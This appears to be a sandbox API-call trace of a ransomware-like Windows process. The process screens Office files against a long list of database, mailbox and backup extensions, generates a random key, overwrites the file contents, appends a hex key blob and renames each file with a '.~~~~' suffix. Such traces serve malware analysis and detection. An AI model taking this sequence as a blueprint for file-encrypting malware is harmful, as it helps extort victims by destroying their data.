	[0144.316] QueryPerformanceCounter (in: lpPerformanceCount=0x25dfc48 | out: lpPerformanceCount=0x25dfc48*=26430602349) returned 1
	[0144.330] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x25dfc88 | out: lpSystemTimeAsFileTime=0x25dfc88*(dwLowDateTime=0xbf6f0c70, dwHighDateTime=0x1d60e1e)) 
	[0144.330] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362420
	[0144.330] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623e0
	[0144.330] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x356f78
	[0144.330] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x3a3990
	[0144.330] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0144.331] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3a3990 | out: hHeap=0x300000) returned 1
	[0144.331] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0144.331] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0144.331] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x28ac9b0
	[0144.331] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0144.331] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x37bca0
	[0144.331] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28ac9b0 | out: hHeap=0x300000) returned 1
	[0144.331] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x25dfb18) 
	[0144.331] GetLastError () returned 0x0
	[0144.332] GetLastError () returned 0x0
	[0144.332] RtlUnwind (TargetFrame=0x25dfc20, TargetIp=0x423f9b, ExceptionRecord=0x25df5dc, ReturnValue=0x0) 
	[0144.332] GetLastError () returned 0x0
	[0144.332] GetLastError () returned 0x0
	[0144.332] ReadFile (in: hFile=0x104, lpBuffer=0x2a520b8, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x2a520b8*, lpNumberOfBytesRead=0x25dfec0*=0xc06d, lpOverlapped=0x0) returned 1
	[0144.335] SetFilePointerEx (in: hFile=0x104, liDistanceToMove=0xffff3f93, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0144.335] WriteFile (in: hFile=0x104, lpBuffer=0x2a520b8*, nNumberOfBytesToWrite=0xc06d, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x2a520b8*, lpNumberOfBytesWritten=0x25dfec0*=0xc06d, lpOverlapped=0x0) returned 1
	[0144.336] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2a520b8 | out: hHeap=0x300000) returned 1
	[0144.336] SetFilePointerEx (in: hFile=0x104, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0144.336] WriteFile (in: hFile=0x104, lpBuffer=0x368bd0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368bd0*, lpNumberOfBytesWritten=0x25dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0144.336] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0144.336] WriteFile (in: hFile=0x104, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x25dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0144.336] CloseHandle (hObject=0x104) returned 1
	[0144.336] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x37bca0
	[0144.336] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\RPLBRF35.CHM" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\rplbrf35.chm"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\RPLBRF35.CHM.~~~~" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\rplbrf35.chm.~~~~")) returned 1
	[0144.339] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x37bca0 | out: hHeap=0x300000) returned 1
	[0144.340] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x356f78 | out: hHeap=0x300000) returned 1
	[0144.340] GetLastError () returned 0x0
	[0144.340] RtlWakeConditionVariable () returned 0x0
	[0144.340] GetCurrentThreadId () returned 0x9f4
	[0144.340] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\SGRES.DLL.IDX_DLL", lpSrch=".scr") returned 0x0
	[0144.340] lstrlenW (lpString=".cmd") returned 4
	[0144.340] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\SGRES.DLL.IDX_DLL", lpSrch=".cmd") returned 0x0
	[0144.340] lstrlenW (lpString=".dll") returned 4
	[0144.340] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\SGRES.DLL.IDX_DLL", lpSrch=".dll") returned 0x0
	[0144.340] lstrlenW (lpString=".bat") returned 4
	[0144.340] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\SGRES.DLL.IDX_DLL", lpSrch=".bat") returned 0x0
	[0144.340] lstrlenW (lpString=".cpl") returned 4
	[0144.340] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\SGRES.DLL.IDX_DLL", lpSrch=".cpl") returned 0x0
	[0144.340] lstrlenW (lpString=".sys") returned 4
	[0144.340] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\SGRES.DLL.IDX_DLL", lpSrch=".sys") returned 0x0
	[0144.340] lstrlenW (lpString=".msc") returned 4
	[0144.341] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\SGRES.DLL.IDX_DLL", lpSrch=".msc") returned 0x0
	[0144.341] lstrlenW (lpString=".com") returned 4
	[0144.341] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\SGRES.DLL.IDX_DLL", lpSrch=".com") returned 0x0
	[0144.341] lstrlenW (lpString=".lnk") returned 4
	[0144.341] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\SGRES.DLL.IDX_DLL", lpSrch=".lnk") returned 0x0
	[0144.341] lstrlenW (lpString=".msp") returned 4
	[0144.341] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\SGRES.DLL.IDX_DLL", lpSrch=".msp") returned 0x0
	[0144.341] lstrlenW (lpString=".pif") returned 4
	[0144.341] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\SGRES.DLL.IDX_DLL", lpSrch=".pif") returned 0x0
	[0144.341] lstrlenW (lpString="msp\r\n.pif") returned 9
	[0144.341] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\SGRES.DLL.IDX_DLL", lpSrch="msp\r\n.pif") returned 0x0
	[0144.341] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\SGRES.DLL.IDX_DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\sgres.dll.idx_dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x104
	[0144.343] lstrlenW (lpString=".sqb") returned 4
	[0144.343] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\SGRES.DLL.IDX_DLL", lpSrch=".sqb") returned 0x0
	[0144.343] lstrlenW (lpString=".ost") returned 4
	[0144.343] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\SGRES.DLL.IDX_DLL", lpSrch=".ost") returned 0x0
	[0144.343] lstrlenW (lpString=".txt") returned 4
	[0144.343] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\SGRES.DLL.IDX_DLL", lpSrch=".txt") returned 0x0
	[0144.343] lstrlenW (lpString=".mdt") returned 4
	[0144.343] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\SGRES.DLL.IDX_DLL", lpSrch=".mdt") returned 0x0
	[0144.343] lstrlenW (lpString=".BDB") returned 4
	[0144.344] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\SGRES.DLL.IDX_DLL", lpSrch=".BDB") returned 0x0
	[0144.344] lstrlenW (lpString=".eql") returned 4
	[0144.344] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\SGRES.DLL.IDX_DLL", lpSrch=".eql") returned 0x0
	[0144.344] lstrlenW (lpString=".DBF") returned 4
	[0144.344] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\SGRES.DLL.IDX_DLL", lpSrch=".DBF") returned 0x0
	[0144.344] lstrlenW (lpString=".EQL") returned 4
	[0144.344] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\SGRES.DLL.IDX_DLL", lpSrch=".EQL") returned 0x0
	[0144.344] lstrlenW (lpString=".FDB") returned 4
	[0144.344] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\SGRES.DLL.IDX_DLL", lpSrch=".FDB") returned 0x0
	[0144.344] lstrlenW (lpString=".EDB") returned 4
	[0144.344] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\SGRES.DLL.IDX_DLL", lpSrch=".EDB") returned 0x0
	[0144.344] lstrlenW (lpString=".DACPAC") returned 7
	[0144.344] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\SGRES.DLL.IDX_DLL", lpSrch=".DACPAC") returned 0x0
	[0144.344] lstrlenW (lpString=".VHD") returned 4
	[0144.344] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\SGRES.DLL.IDX_DLL", lpSrch=".VHD") returned 0x0
	[0144.344] lstrlenW (lpString=".DBV") returned 4
	[0144.344] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\SGRES.DLL.IDX_DLL", lpSrch=".DBV") returned 0x0
	[0144.344] lstrlenW (lpString=".dacpac") returned 7
	[0144.344] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\SGRES.DLL.IDX_DLL", lpSrch=".dacpac") returned 0x0
	[0144.344] lstrlenW (lpString=".sdf") returned 4
	[0144.344] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\SGRES.DLL.IDX_DLL", lpSrch=".sdf") returned 0x0
	[0144.344] lstrlenW (lpString=".accdb") returned 6
	[0144.344] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\SGRES.DLL.IDX_DLL", lpSrch=".accdb") returned 0x0
	[0144.344] lstrlenW (lpString=".DBX") returned 4
	[0144.344] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\SGRES.DLL.IDX_DLL", lpSrch=".DBX") returned 0x0
	[0144.344] lstrlenW (lpString=".MDT") returned 4
	[0144.345] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\SGRES.DLL.IDX_DLL", lpSrch=".MDT") returned 0x0
	[0144.345] lstrlenW (lpString=".SQB") returned 4
	[0144.345] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\SGRES.DLL.IDX_DLL", lpSrch=".SQB") returned 0x0
	[0144.345] lstrlenW (lpString=".vhd") returned 4
	[0144.345] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\SGRES.DLL.IDX_DLL", lpSrch=".vhd") returned 0x0
	[0144.345] lstrlenW (lpString=".bac") returned 4
	[0144.345] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\SGRES.DLL.IDX_DLL", lpSrch=".bac") returned 0x0
	[0144.345] lstrlenW (lpString=".mdf") returned 4
	[0144.345] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\SGRES.DLL.IDX_DLL", lpSrch=".mdf") returned 0x0
	[0144.345] lstrlenW (lpString=".BAK") returned 4
	[0144.345] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\SGRES.DLL.IDX_DLL", lpSrch=".BAK") returned 0x0
	[0144.345] lstrlenW (lpString=".BAC") returned 4
	[0144.345] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\SGRES.DLL.IDX_DLL", lpSrch=".BAC") returned 0x0
	[0144.345] lstrlenW (lpString=".dbs") returned 4
	[0144.345] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\SGRES.DLL.IDX_DLL", lpSrch=".dbs") returned 0x0
	[0144.345] lstrlenW (lpString=".vhdx") returned 5
	[0144.345] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\SGRES.DLL.IDX_DLL", lpSrch=".vhdx") returned 0x0
	[0144.345] lstrlenW (lpString=".NDF") returned 4
	[0144.345] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\SGRES.DLL.IDX_DLL", lpSrch=".NDF") returned 0x0
	[0144.345] lstrlenW (lpString=".dat") returned 4
	[0144.345] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\SGRES.DLL.IDX_DLL", lpSrch=".dat") returned 0x0
	[0144.345] lstrlenW (lpString=".DBS") returned 4
	[0144.345] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\SGRES.DLL.IDX_DLL", lpSrch=".DBS") returned 0x0
	[0144.346] lstrlenW (lpString=".CKP") returned 4
	[0144.346] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\SGRES.DLL.IDX_DLL", lpSrch=".CKP") returned 0x0
	[0144.346] lstrlenW (lpString=".edb") returned 4
	[0144.346] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\SGRES.DLL.IDX_DLL", lpSrch=".edb") returned 0x0
	[0144.346] lstrlenW (lpString=".PST") returned 4
	[0144.346] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\SGRES.DLL.IDX_DLL", lpSrch=".PST") returned 0x0
	[0144.346] lstrlenW (lpString=".dbf") returned 4
	[0144.346] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\SGRES.DLL.IDX_DLL", lpSrch=".dbf") returned 0x0
	[0144.346] lstrlenW (lpString=".SQL") returned 4
	[0144.346] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\SGRES.DLL.IDX_DLL", lpSrch=".SQL") returned 0x0
	[0144.346] lstrlenW (lpString=".pst") returned 4
	[0144.346] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\SGRES.DLL.IDX_DLL", lpSrch=".pst") returned 0x0
	[0144.346] lstrlenW (lpString=".dbv") returned 4
	[0144.346] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\SGRES.DLL.IDX_DLL", lpSrch=".dbv") returned 0x0
	[0144.346] lstrlenW (lpString=".SDF") returned 4
	[0144.346] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\SGRES.DLL.IDX_DLL", lpSrch=".SDF") returned 0x0
	[0144.346] lstrlenW (lpString=".dtxs") returned 5
	[0144.346] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\SGRES.DLL.IDX_DLL", lpSrch=".dtxs") returned 0x0
	[0144.346] lstrlenW (lpString=".db3") returned 4
	[0144.346] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\SGRES.DLL.IDX_DLL", lpSrch=".db3") returned 0x0
	[0144.346] lstrlenW (lpString=".OST") returned 4
	[0144.346] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\SGRES.DLL.IDX_DLL", lpSrch=".OST") returned 0x0
	[0144.346] lstrlenW (lpString=".dbx") returned 4
	[0144.346] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\SGRES.DLL.IDX_DLL", lpSrch=".dbx") returned 0x0
	[0144.346] lstrlenW (lpString=".DB3") returned 4
	[0144.346] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\SGRES.DLL.IDX_DLL", lpSrch=".DB3") returned 0x0
	[0144.347] lstrlenW (lpString=".DAT") returned 4
	[0144.347] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\SGRES.DLL.IDX_DLL", lpSrch=".DAT") returned 0x0
	[0144.347] lstrlenW (lpString=".VHDX") returned 5
	[0144.347] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\SGRES.DLL.IDX_DLL", lpSrch=".VHDX") returned 0x0
	[0144.347] lstrlenW (lpString=".ndf") returned 4
	[0144.347] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\SGRES.DLL.IDX_DLL", lpSrch=".ndf") returned 0x0
	[0144.347] lstrlenW (lpString=".DB") returned 3
	[0144.347] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\SGRES.DLL.IDX_DLL", lpSrch=".DB") returned 0x0
	[0144.347] lstrlenW (lpString=".sql") returned 4
	[0144.347] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\SGRES.DLL.IDX_DLL", lpSrch=".sql") returned 0x0
	[0144.347] lstrlenW (lpString=".MYD") returned 4
	[0144.347] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\SGRES.DLL.IDX_DLL", lpSrch=".MYD") returned 0x0
	[0144.347] lstrlenW (lpString=".DBT") returned 4
	[0144.347] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\SGRES.DLL.IDX_DLL", lpSrch=".DBT") returned 0x0
	[0144.347] lstrlenW (lpString=".ACCDB") returned 6
	[0144.347] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\SGRES.DLL.IDX_DLL", lpSrch=".ACCDB") returned 0x0
	[0144.347] lstrlenW (lpString=".fdb") returned 4
	[0144.347] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\SGRES.DLL.IDX_DLL", lpSrch=".fdb") returned 0x0
	[0144.347] lstrlenW (lpString=".bak") returned 4
	[0144.347] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\SGRES.DLL.IDX_DLL", lpSrch=".bak") returned 0x0
	[0144.347] lstrlenW (lpString=".myd") returned 4
	[0144.347] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\SGRES.DLL.IDX_DLL", lpSrch=".myd") returned 0x0
	[0144.347] lstrlenW (lpString=".DTXS") returned 5
	[0144.347] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\SGRES.DLL.IDX_DLL", lpSrch=".DTXS") returned 0x0
	[0144.347] lstrlenW (lpString=".ckp") returned 4
	[0144.347] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\SGRES.DLL.IDX_DLL", lpSrch=".ckp") returned 0x0
	[0144.348] lstrlenW (lpString=".dbt") returned 4
	[0144.348] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\SGRES.DLL.IDX_DLL", lpSrch=".dbt") returned 0x0
	[0144.348] lstrlenW (lpString=".db") returned 3
	[0144.348] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\SGRES.DLL.IDX_DLL", lpSrch=".db") returned 0x0
	[0144.348] lstrlenW (lpString=".TXT") returned 4
	[0144.348] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\SGRES.DLL.IDX_DLL", lpSrch=".TXT") returned 0x0
	[0144.348] lstrlenW (lpString=".MDF") returned 4
	[0144.348] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\SGRES.DLL.IDX_DLL", lpSrch=".MDF") returned 0x0
	[0144.348] lstrlenW (lpString=".bdb") returned 4
	[0144.348] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\SGRES.DLL.IDX_DLL", lpSrch=".bdb") returned 0x0
	[0144.348] lstrlenW (lpString=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 58
	[0144.348] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\SGRES.DLL.IDX_DLL", lpSrch=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 0x0
	[0144.348] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x130) returned 0x2906418
	[0144.348] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x20) returned 0x3630d0
	[0144.348] CryptAcquireContextA (in: phProv=0x25dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x25dfcdc*=0x3956b8) returned 1
	[0144.350] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x3630d0 | out: pbBuffer=0x3630d0) returned 1
	[0144.350] CryptReleaseContext (hProv=0x3956b8, dwFlags=0x0) returned 1
	[0144.350] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3630d0 | out: hHeap=0x300000) returned 1
	[0144.350] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368bd0
	[0144.350] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2877310
	[0144.350] QueryPerformanceCounter (in: lpPerformanceCount=0x25dfc48 | out: lpPerformanceCount=0x25dfc48*=26434005770) returned 1
	[0144.350] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x25dfc88 | out: lpSystemTimeAsFileTime=0x25dfc88*(dwLowDateTime=0xbf716dd0, dwHighDateTime=0x1d60e1e)) 
	[0144.350] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623e0
	[0144.350] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362420
	[0144.350] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x356f78
	[0144.350] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x3a3aa8
	[0144.350] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0144.350] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3a3aa8 | out: hHeap=0x300000) returned 1
	[0144.350] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0144.351] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0144.351] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x28ac9b0
	[0144.351] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0144.351] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x37d330
	[0144.351] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28ac9b0 | out: hHeap=0x300000) returned 1
	[0144.351] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x25dfb18) 
	[0144.351] GetLastError () returned 0x0
	[0144.351] GetLastError () returned 0x0
	[0144.352] RtlUnwind (TargetFrame=0x25dfc20, TargetIp=0x423f9b, ExceptionRecord=0x25df5dc, ReturnValue=0x0) 
	[0144.352] GetLastError () returned 0x0
	[0144.352] GetLastError () returned 0x0
	[0144.352] ReadFile (in: hFile=0x104, lpBuffer=0x2a520b8, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x2a520b8*, lpNumberOfBytesRead=0x25dfec0*=0x2d80, lpOverlapped=0x0) returned 1
	[0144.355] SetFilePointerEx (in: hFile=0x104, liDistanceToMove=0xffffd280, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0144.355] WriteFile (in: hFile=0x104, lpBuffer=0x2a520b8*, nNumberOfBytesToWrite=0x2d80, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x2a520b8*, lpNumberOfBytesWritten=0x25dfec0*=0x2d80, lpOverlapped=0x0) returned 1
	[0144.355] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2a520b8 | out: hHeap=0x300000) returned 1
	[0144.355] SetFilePointerEx (in: hFile=0x104, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0144.355] WriteFile (in: hFile=0x104, lpBuffer=0x368bd0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368bd0*, lpNumberOfBytesWritten=0x25dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0144.356] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0144.356] WriteFile (in: hFile=0x104, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x25dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0144.356] CloseHandle (hObject=0x104) returned 1
	[0144.356] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x28ac9b0
	[0144.356] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\SGRES.DLL.IDX_DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\sgres.dll.idx_dll"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\SGRES.DLL.IDX_DLL.~~~~" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\sgres.dll.idx_dll.~~~~")) returned 1
	[0144.359] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28ac9b0 | out: hHeap=0x300000) returned 1
	[0144.359] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x356f78 | out: hHeap=0x300000) returned 1
	[0144.359] GetLastError () returned 0x0
